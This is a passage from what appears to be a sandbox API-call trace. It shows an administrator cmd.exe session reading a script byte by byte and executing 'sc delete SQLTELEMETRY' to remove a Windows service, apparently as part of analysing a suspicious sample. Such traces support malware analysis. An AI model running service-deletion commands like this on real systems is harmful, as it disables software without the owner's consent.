lpWideCharStr="LBrowser\nENT\n\nce\n") returned 1 [0074.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="Trowser\nENT\n\nce\n") returned 1 [0074.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.703] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Eowser\nENT\n\nce\n") returned 1 [0074.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.703] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.703] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="Lwser\nENT\n\nce\n") returned 1 [0074.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.703] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.703] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="Eser\nENT\n\nce\n") returned 1 [0074.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.703] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.703] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="Mer\nENT\n\nce\n") returned 1 [0074.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.703] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.704] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="Er\nENT\n\nce\n") returned 1 [0074.704] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.704] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.704] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="T\nENT\n\nce\n") returned 1 [0074.704] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.704] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.704] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="RENT\n\nce\n") returned 1 [0074.704] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.704] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.704] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="YNT\n\nce\n") returned 1 [0074.704] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.704] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.704] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.705] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="\nT\n\nce\n") returned 1 [0074.705] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.705] GetFileType (hFile=0xb8) returned 0x3 [0074.705] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.705] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.705] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.705] GetFileType (hFile=0x120) returned 0x3 [0074.705] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.705] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLTELEMETRY\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLTELEMETRY\n", lpUsedDefaultChar=0x0) returned 24 [0074.705] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x17, lpOverlapped=0x0) returned 1 [0074.705] GetProcessHeap () returned 0x240000 [0074.705] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x266630 [0074.705] GetProcessHeap () returned 0x240000 [0074.705] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x266630 | out: hHeap=0x240000) returned 1 [0074.705] GetProcessHeap () returned 0x240000 [0074.705] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0074.705] GetProcessHeap () returned 0x240000 [0074.705] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0074.705] GetProcessHeap () returned 0x240000 [0074.706] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3a) returned 0x25aa40 [0074.706] GetConsoleOutputCP () returned 0x1b5 [0074.706] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0074.706] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.706] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.707] GetProcessHeap () returned 0x240000 [0074.707] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0074.707] GetProcessHeap () returned 0x240000 [0074.707] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x25aa90 [0074.707] GetProcessHeap () returned 0x240000 [0074.707] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0074.707] SetErrorMode (uMode=0x0) returned 0x1 [0074.707] SetErrorMode (uMode=0x1) returned 0x0 [0074.707] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0074.707] SetErrorMode (uMode=0x1) returned 0x1 [0074.707] GetProcessHeap () returned 0x240000 [0074.707] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0074.707] GetProcessHeap () returned 0x240000 [0074.707] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0074.707] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0074.707] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.707] GetProcessHeap () returned 0x240000 [0074.707] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0074.708] GetProcessHeap () returned 0x240000 [0074.708] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0074.708] GetProcessHeap () returned 0x240000 [0074.708] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0074.708] GetProcessHeap () returned 0x240000 [0074.708] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0074.708] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0074.708] GetProcessHeap () returned 0x240000 [0074.708] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0074.708] GetProcessHeap () returned 0x240000 [0074.708] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0074.708] GetProcessHeap () returned 0x240000 [0074.708] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0074.708] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.708] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.709] GetLastError () returned 0x2 [0074.709] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.709] GetLastError () returned 0x2 [0074.709] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.709] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0074.709] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0074.709] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.710] GetLastError () returned 0x2 [0074.710] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0074.710] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0074.710] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0074.710] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0074.710] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.710] GetProcessHeap () returned 0x240000 [0074.710] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0074.710] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.710] GetProcessHeap () returned 0x240000 [0074.710] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa6) returned 0x259180 [0074.711] GetProcessHeap () returned 0x240000 [0074.711] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa6 [0074.711] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLTELEMETRY") returned 1 [0074.711] GetProcessHeap () returned 0x240000 [0074.711] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0074.711] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0074.711] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0074.712] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0074.712] GetProcessHeap () returned 0x240000 [0074.712] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0074.712] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0074.713] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0074.713] GetProcessHeap () returned 0x240000 [0074.713] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0074.713] GetProcessHeap () returned 0x240000 [0074.713] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0074.714] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLTELEMETRY", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLTELEMETRY", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete SQLTELEMETRY", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xa14, dwThreadId=0xa18)) returned 1 [0074.718] CloseHandle (hObject=0x50) returned 1 [0074.718] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0074.718] GetProcessHeap () returned 0x240000 [0074.718] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0074.718] GetEnvironmentStringsW () returned 0x261b10* [0074.719] GetProcessHeap () returned 0x240000 [0074.719] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0074.719] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0074.719] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0074.719] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd7000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0074.719] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0075.071] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0075.071] CloseHandle (hObject=0x54) returned 1 [0075.071] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0075.071] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0075.071] GetProcessHeap () returned 0x240000 [0075.071] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0075.072] GetEnvironmentStringsW () returned 0x261b10* [0075.072] GetProcessHeap () returned 0x240000 [0075.072] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0075.072] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.072] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0075.072] GetProcessHeap () returned 0x240000 [0075.072] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0075.072] GetEnvironmentStringsW () returned 0x261b10* [0075.072] GetProcessHeap () returned 0x240000 [0075.072] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0075.072] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.072] GetProcessHeap () returned 0x240000 [0075.072] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0075.072] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0075.072] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0075.073] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.073] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0075.073] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.073] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0075.073] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.073] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0075.073] GetConsoleOutputCP () returned 0x1b5 [0075.073] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.073] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.073] GetProcessHeap () returned 0x240000 [0075.074] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0075.074] GetProcessHeap () returned 0x240000 [0075.074] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0075.074] GetProcessHeap () returned 0x240000 [0075.074] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0075.074] GetProcessHeap () returned 0x240000 [0075.074] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0075.074] GetProcessHeap () returned 0x240000 [0075.074] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0075.074] GetProcessHeap () returned 0x240000 [0075.074] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0075.074] GetProcessHeap () returned 0x240000 [0075.074] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0075.074] GetProcessHeap () returned 0x240000 [0075.074] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0075.074] GetProcessHeap () returned 0x240000 [0075.074] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0075.074] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0075.074] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.074] GetFileType (hFile=0x120) returned 0x3 [0075.074] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0075.075] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0075.075] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0075.075] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0075.075] _vsnwprintf (in: 